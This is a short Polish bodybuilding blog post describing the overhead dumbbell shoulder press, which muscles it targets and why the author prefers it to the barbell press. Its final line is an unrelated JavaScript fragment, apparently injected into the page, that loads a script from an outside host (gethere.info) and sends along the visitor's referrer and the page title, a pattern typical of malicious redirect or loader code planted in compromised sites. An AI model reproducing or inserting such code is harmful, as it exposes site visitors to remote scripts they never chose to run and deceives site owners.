JabiPakuje – DOŁADUJ BARY – WYCISKANIE SZTANGIELEK

5.10.2013 / Adam Jabłoński / Kulturystyka

Cześć,

Dzisiaj chciałbym Wam pokazać jak powinno wyglądać ćwiczenie, które nazywa się ” WYCISKANIE SZTANGIELEK / HANTLI DO GÓRY lub PRZED SIEBIE, ale zalecałbym mówić WYCISKANIE SZTANGIELEK DO GÓRY.

Jak widzicie na filmiku skupiamy się na mięśniach, które chcemy ćwiczyć w tym wypadku na przednich i bocznych aktonach mięśni naramiennych, a jak najmniej angażujemy mięśnie pomocnicze czyli np. TRICEPS.

Moim zdaniem to ćwiczenie jest dużo lepszym rozwiązaniem od wyciskania sztangi,
Może nie rozwija tak siły ale jakość i masę mięśni jak najbardziej . Wykonywane poprawnie minimalizuje odniesienie kontuzji.

 

Heja

Moja ekipa:
http://www.facebook.com/TrecNutrition

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;